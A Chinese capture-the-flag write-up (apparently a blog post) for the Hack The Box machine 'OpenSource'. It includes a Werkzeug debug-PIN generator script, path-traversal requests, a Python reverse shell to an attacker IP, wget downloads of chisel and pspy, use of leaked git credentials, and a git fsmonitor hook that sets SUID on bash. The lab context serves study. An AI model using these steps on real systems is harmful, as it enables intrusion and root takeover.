【HTB】 OpenSource

OpenSource

靶机地址:https://app.hackthebox.com/machines/471

信息收集

┌──(root㉿kali)-[~/Desktop]
└─# nmap -Pn -sC -sV -p- 10.129.212.208 --min-rate=5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 16:01 CST
Nmap scan report for 10.129.212.208
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Mon, 08 Apr 2024 08:01:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Mon, 08 Apr 2024 08:01:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=4/8%Time=6613A46B%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x2
SF:0Python/3\.10\.3\r\nDate:\x20Mon,\x2008\x20Apr\x202024\x2008:01:15\x20G
SF:MT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
SF:205316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x
SF:20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20nam
SF:e=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\"
SF:>\n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Fre
SF:e!</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jq
SF:uery-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/st
SF:atic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<scri
SF:pt\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\
SF:n\x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workarou
SF:nd\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/b
SF:ootstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x
SF:20\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\
SF:r\nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Mon,\x200
SF:8\x20Apr\x202024\x2008:01:15\x20GMT\r\nContent-Type:\x20text/html;\x20c
SF:harset=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nContent-Length:\x
SF:200\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20H
SF:TML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n
SF:\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-e
SF:quiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\
SF:x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1
SF:>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20co
SF:de:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20r
SF:equest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x
SF:20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x
SF:20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.86 seconds

开放22、80、3000端口。
先访问80web端口
在这里插入图片描述
dirsearch扫描着

┌──(root㉿kali)-[~/Desktop]
└─# dirsearch -u http://10.129.212.208                                         
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                 
 (_||| _) (/_(_|| (_| )                                                                                                          
                                                                                                                                 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/Desktop/reports/http_10.129.212.208/_24-04-08_16-06-33.txt

Target: http://10.129.212.208/

[16:06:33] Starting:                                                                                                             
[16:07:56] 200 -    2KB - /console                                          
[16:08:08] 200 -    2MB - /download                                         
[16:09:36] 500 -   16KB - /uploads/affwp-debug.log                          
[16:09:36] 500 -   15KB - /uploads/dump.sql 

获取shell

访问/console
在这里插入图片描述
有一个PIN锁。
在这里插入图片描述
看样能生成PIN。同时也知道了这是python的flask框架。
https://blog.csdn.net/qq_35782055/article/details/129126825

通过文章得知

通过PIN码可以进入flask的debug模式,从而执行代码,进而getshell

pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测。
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

看样子要找到任意文件读取的漏洞。那么在哪呢?继续收集信息。

在web页面中点击download能下载源码。解压看看
在这里插入图片描述
先脱下来,一会再说。点击Take me there!,会跳转到一个上传功能页面。
在这里插入图片描述
经测试,这个是可以上传东西并下载的。
在这里插入图片描述
继续查看源码
在这里插入图片描述
在这里插入图片描述
@app.route('/', methods=['GET', 'POST']) 定义路由,使用GET和POST方法访问网站根目录会执行下方的upload_file()函数。
@app.route('/uploads/<path:path>')一样,访问网站uploads目录下的文件,会执行send_report(path)函数。但这有个小细节。也就是传入get_file_name(path)函数的只包括uploads后的那一部分。比如访问/uploads/..//../../../etc/passwdget_file_name(path)函数只会处理..//../../../etc/passwd
原理可以搜索flask的自定义路由转换器,我是看的这个视频https://www.bilibili.com/video/BV1pa4y117iE/?p=7
跟踪get_file_name(path)函数函数,发现他只是将../替换为空
在这里插入图片描述
那么,如果传入uploads/..//etc/passwd,那么send_files()函数处理的便是etc/passwd。(这是flask框架自带的函数,用于发送文件的)
也就是说,这里存在任意文件读取。抓包试试。
在这里插入图片描述
读取成功。
回到PIN锁需要的信息,已经知道

pin码生成要六要素
1.username root #在source\config\supervisord.conf中找到
2.modname 默认flask.app 
3.appname 默认Flask
4.moddir /usr/local/lib/python3.10/site-packages/flask/app.py #flask库下app.py的绝对路径,可以通过报错拿到。
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id /proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接

在这里插入图片描述
/sys/class/net/eth0/address
在这里插入图片描述
再将其转为十进制,为2485377892358
https://www.vultr.com/zh/resources/mac-converter/
在这里插入图片描述
/proc/sys/kernel/random/boot_id,b01e2717-bfd4-4595-a6fe-c94cdcde88d5
在这里插入图片描述
/proc/self/cgroup,7c4ad9fe23a4742c8f510fbdbf77e5e5118469c3ac89280b62c797de1422d198
在这里插入图片描述
那么拼接到脚本中

import hashlib
from itertools import chain
probably_public_bits = [
        'root',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
        '2485377892358',  # 访问 /sys/class/net/eth0/address
        'b01e2717-bfd4-4595-a6fe-c94cdcde88d57c4ad9fe23a4742c8f510fbdbf77e5e5118469c3ac89280b62c797de1422d198'  # /proc/sys/kernel/random/boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

在这里插入图片描述
进入控制台。
在这里插入图片描述
网上搜索python的反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

同时本地开启监听。
在这里插入图片描述
其实上文的/proc/self/cgroup·也提示了这是docker环境

重新反弹shell,同时也重新监听。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

在这里插入图片描述

逃逸docker

在docker环境中自然是找不到flag的,但是发现有个主机一直在访问此docker环境。使用chisel挂上代理扫一扫。
在这里插入图片描述
本地开启http服务。

python3 -m http.server 8888

反弹shell中下载

wget http://10.10.16.4:8888/chisel

在这里插入图片描述
本地

./chisel server --reverse --port 1234

在这里插入图片描述
靶机上

./chisel client 10.10.16.4:1234 R:socks

在这里插入图片描述
本地添加上代理

vim /etc/proxychains4.conf

在这里插入图片描述
挂上proxychains开始扫描。直接使用-p-参数扫描会很慢。所以最好是指定端口。

proxychains nmap -sT -Pn -p- 172.17.0.1 --min-rate=5000

在这里插入图片描述

proxychains nmap -sT -Pn -p22,80,443,3000 172.17.0.1

172.17.0.1开放了3000端口。
在这里插入图片描述

在浏览器配置上代理访问下3000端口试试
在这里插入图片描述
找到一个gitea仓库。
在这里插入图片描述
在 Explore 发现一个 dev01 用户
在这里插入图片描述
在下载的源码中使用git命令

┌──(root㉿kali)-[~/Downloads/source]
└─# git branch 
  dev
* public
                                                                                                                                 
┌──(root㉿kali)-[~/Downloads/source]
└─# git checkout dev
切换到分支 'dev'
                                                                                                                                 
┌──(root㉿kali)-[~/Downloads/source]
└─# git log         
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial
                                                                                                                                 
┌──(root㉿kali)-[~/Downloads/source]
└─# git diff a76f8f75f7a4a12b706b0cf9c983796fa1985820 ee9d9f1ef9156c787d53074493e39ae364cd1e05
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
-  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
-  "http.proxyStrictSSL": false
-}
diff --git a/app/app/views.py b/app/app/views.py
index 0f3cc37..f2744c6 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,17 +6,7 @@ from flask import render_template, request, send_file
 from app import app
 
 
-@app.route('/')
-def index():
-    return render_template('index.html')
-
-
-@app.route('/download')
-def download():
-    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
-
-
-@app.route('/upcloud', methods=['GET', 'POST'])
+@app.route('/', methods=['GET', 'POST'])
 def upload_file():
:

找到了账号密码dev01:Soulless_Developer#2022

使用此账户密码登录gitea系统
在这里插入图片描述
在仓库中找到了ssh私钥。
在这里插入图片描述

于是乎可以下载下来连接主机了。

chmod 600 id_rsa	#ssh私钥文件权限只能是600,权限不对会连接不上
ssh -i id_rsa dev01@10.129.212.157

在这里插入图片描述

提权

htb的靶场似乎不能用linux内核漏洞提权。老老实实跟着wp走吧。
没有密码,执行sudo -l不成功,用刚刚找到的密码也不对。
上pspy监听进程吧。

wget htpp://10.10.16.4:8888/pspy64
chmod +x pspy64 
./pspy64

在这里插入图片描述
执行的命令是 /usr/lib/git-core/git-remote-http,这是一个Git命令行工具,用于管理Git远程仓库的HTTP访问。在这个例子中,它被用来设置或查询名为 origin 的远程仓库的URL。UID=0,为root权限。

修改git的配置文件,让其以root权限执行命令。
在这里插入图片描述
./git/config文件中添加fsmonitor = "chmod 4755 /bin/bash"

这个命令的作用是给予/bin/bash SUID(Set User ID upon execution)权限。
SUID权限允许任何用户以文件所有者(在这个例子中是root)的身份执行文件。因此,当chmod 4755 /bin/bash命令执行后,任何用户都可以运行bash -p来启动一个具有root权限的shell。

在这里插入图片描述

写在最后

本人有点菜,这个靶场用时有点久。写wp时重启了下环境,所以目的IP变了。
有些地方还没解释清楚。会回来重新补充的。

  • 18
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值